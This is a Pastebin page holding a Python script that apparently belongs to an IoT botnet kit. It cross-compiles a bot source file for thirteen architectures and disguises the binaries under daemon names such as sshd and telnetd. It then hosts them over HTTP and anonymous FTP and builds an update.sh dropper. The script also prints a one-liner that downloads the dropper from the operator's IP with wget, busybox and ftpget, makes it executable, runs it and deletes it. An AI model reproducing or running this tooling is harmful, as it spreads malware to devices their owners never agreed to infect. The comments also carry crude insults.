Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #Python auto cross compiler by void, de shitified and busybox added by Milenko
- #Void was a fucking skid.
- import subprocess, sys
- if len(sys.argv[2]) != 0:
- ip = sys.argv[2]
- else:
- print("\x1b[0;31mIncorrect Usage!")
- print("\x1b[0;32mUsage: python " + sys.argv[0] + " <BOTNAME.C> <IPADDR> \x1b[0m")
- exit(1)
- bot = sys.argv[1]
- yourafag = raw_input("Get arch's? Y/n:")
- if yourafag.lower() == "y":
- get_arch = True
- else:
- get_arch = False
- compileas = ["ntpd", #mips
- "sshd", #mipsel
- "openssh", #sh4
- "bash", #x86
- "tftp", #Armv6l
- "wget", #i686
- "cron", #ppc
- "ftp", #i586
- "pftp", #m68k
- "sh", #sparc
- "watchdog", #arm4l
- "apache2", #arm5l
- "telnetd"] #powerpc-440fp
- getarch = ['http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2',
- 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2',
- 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2',
- 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2',
- 'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2',
- 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2',
- 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2',
- 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2',
- 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2',
- 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2',
- 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2',
- 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2',
- 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc-440fp.tar.bz2']
- ccs = ["cross-compiler-mips",
- "cross-compiler-mipsel",
- "cross-compiler-sh4",
- "cross-compiler-x86_64",
- "cross-compiler-armv6l",
- "cross-compiler-i686",
- "cross-compiler-powerpc",
- "cross-compiler-i586",
- "cross-compiler-m68k",
- "cross-compiler-sparc",
- "cross-compiler-armv4l",
- "cross-compiler-armv5l",
- "cross-compiler-powerpc-440fp"]
- def run(cmd):
- subprocess.call(cmd, shell=True)
- run("rm -rf /var/www/html/* /var/ftp/*")
- if get_arch == True:
- run("rm -rf cross-compiler-*")
- print("Downloading Architectures")
- for arch in getarch:
- run("wget " + arch + " --no-check-certificate >> /dev/null")
- run("tar -xvf *tar.bz2")
- run("rm -rf *tar.bz2")
- print("Cross Compilers Downloaded...")
- num = 0
- for cc in ccs:
- arch = cc.split("-")[2]
- run("./"+cc+"/bin/"+arch+"-gcc -static -pthread -D" + arch.upper() + " -o " + compileas[num] + " " + bot + " > /dev/null")
- num += 1
- print("Cross Compiling Done!")
- print("Setting up lighttpd and vsftp...")
- run("yum install lighttpd -y; apt-get install lighttpd -y")
- run("/etc/init.d/lighttpd start")
- run("yum install vsftpd -y; apt-get install vsftpd -y")
- run("/etc/init.d/vsftpd start")
- run('''echo -e "listen=YES
- local_enable=NO
- anonymous_enable=YES
- write_enable=NO
- anon_root=/var/ftp
- anon_max_rate=2048000
- xferlog_enable=YES
- listen_address='''+ ip +'''
- listen_port=21" > /etc/vsftpd/vsftpd-anon.conf''')
- run("/etc/init.d/vsftpd restart")
- for i in compileas:
- run("cp " + i + " /var/www/html")
- for i in compileas:
- run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd / || busybox cd /tmp || busybox cd /var/run || busybox cd /mnt || busybox cd /root || busybox cd / || /bin/busybox cd /tmp || /bin/busybox cd /var/run || /bin/busybox cd /mnt || /bin/busybox cd /root || /bin/busybox cd / || /usr/busybox cd /tmp || /usr/busybox cd /var/run || /usr/busybox cd /mnt || /usr/busybox cd /root || /usr/busybox cd /; wget http://' + ip + '/' + i + '; busybox wget http://' + ip + '/' + i + '; /bin/busybox wget http://' + ip + '/' + i + '; /usr/busybox wget http://' + ip + '/' + i + '; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ' + i + ' ' + i + '; busybox ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ' + i + ' ' + i + '; /bin/busybox ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ' + i + ' ' + i + '; /usr/busybox ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ' + i + ' ' + i + '; chmod 777 ' + i + '; busybox chmod 777 ' + i + '; /bin/busybox chmod 777 ' + i + '; /usr/busybox chmod 777 ' + i + '; ./' + i + '; rm -rf ' + i + '; busybox rm -rf ' + i + '; /bin/busybox rm -rf ' + i + '; /usr/busybox rm -rf ' + i + '" >> /var/www/html/update.sh')
- run('echo ulimit -n 99999> ~/.bashrc')
- print("\x1b[0;32mtSuccessfully cross compiled!\x1b[0m")
- print("\x1b[0;32mYour link: cd /tmp || cd /var/run || cd /mnt || cd /root || cd / || busybox cd /tmp || busybox cd /var/run || busybox cd /mnt || busybox cd /root || busybox cd / || /bin/busybox cd /tmp || /bin/busybox cd /var/run || /bin/busybox cd /mnt || /bin/busybox cd /root || /bin/busybox cd / || /usr/busybox cd /tmp || /usr/busybox cd /var/run || /usr/busybox cd /mnt || /usr/busybox cd /root || /usr/busybox cd /; wget http://' + ip + '/update.sh; busybox wget http://' + ip + '/update.sh; /bin/busybox wget http://' + ip + '/update.sh; /usr/busybox wget http://' + ip + '/update.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 update.sh update.sh; busybox ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 update.sh update.sh; /bin/busybox ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 update.sh update.sh; /usr/busybox ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 update.sh update.sh; chmod 777 update.sh; busybox chmod 777 update.sh; /bin/busybox chmod 777 update.sh; /usr/busybox chmod 777 update.sh; ./update.sh; rm -rf update.sh; busybox rm -rf update.sh; /bin/busybox rm -rf update.sh; /usr/busybox rm -rf update.sh\x1b[0m")
- print
- print("\x1b[0;32mCoded By Void, busybox added by Milenko aka Freak\x1b[0m")
Advertisement